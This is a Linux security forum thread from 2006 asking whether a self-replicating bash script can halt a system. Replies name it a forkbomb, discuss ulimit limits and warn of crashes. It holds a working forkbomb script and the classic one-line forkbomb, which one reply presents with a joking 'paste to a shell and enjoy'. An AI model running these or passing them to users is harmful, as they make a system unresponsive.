LinuxQuestions.org
Welcome to the most active Linux Forum on the web.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices


Reply
  Search this Thread
Old 07-05-2006, 06:41 PM   #1
geletine
Member
 
Registered: Apr 2005
Distribution: Slackware
Posts: 213
Blog Entries: 2

Rep: Reputation: 30
can this bring a system to a halt?


i was thinking about the ulimit utility and this came to mind.

#!/bin/bash
x=1
until [ $x -gt 10 ]; do
ran=$RANDOM
ran2=$RANDOM
cat tmp.sh > tmp.$ran.$ran2
chmod 700 tmp.$ran.$ran2
./tmp.$ran.$ran2 &
rm -f tmp.$ran.$ran2
x=$(( $x + 1 ))
done &

then save it and run like this
$ ./tmp.sh & exit

logging back on would be a problem

thanks
 
Old 07-06-2006, 07:02 AM   #2
r0b0
Member
 
Registered: Aug 2004
Location: Europe
Posts: 608

Rep: Reputation: 50
Such things are called forkbombs, see http://en.wikipedia.org/wiki/Forkbomb My favourite one is

:(){ :|:& };:

Paste to a shell and enjoy.
 
Old 07-06-2006, 07:54 AM   #3
geletine
Member
 
Registered: Apr 2005
Distribution: Slackware
Posts: 213

Original Poster
Blog Entries: 2

Rep: Reputation: 30
I am surprised ulimit is not restricted to the root user only, it would make this impossible by a user, the article mentions that the linux kernel can detect and prevent this, i presume similar measure are included in the BSDS*
 
Old 07-06-2006, 05:51 PM   #4
Capt_Caveman
Senior Member
 
Registered: Mar 2003
Distribution: Fedora
Posts: 3,658

Rep: Reputation: 69
It's been left off by default on purpose. It can interfere with certain applications that require extensive resources (processes,cpu time, etc), so it's been left up to the administrator to enable if they have concerns about untrusted users (or bad programmers). To my knowledge, several (if not all) of the BSDs have protection against forkbombs on by default.

**Warning to anyone reading this thread*: Executing any of the above commands will most likely cause your system to crash or become unresponsive. So execute at your own risk!
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
how to halt a system with private ip from a system in other net work seabark99 Linux - Networking 3 03-20-2005 08:36 AM
System going down for system halt NOW! (hangs) jdh77 Yoper 14 12-07-2004 03:28 AM
Halt System Kaninchen Mandriva 5 05-11-2004 03:01 PM
poweroff will not halt system ceph Linux - General 1 11-06-2003 02:44 PM
Halt system kpraveen Linux - General 2 08-10-2002 08:40 AM

LinuxQuestions.org > Forums > Linux Forums > Linux - Security

All times are GMT -5. The time now is 01:44 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration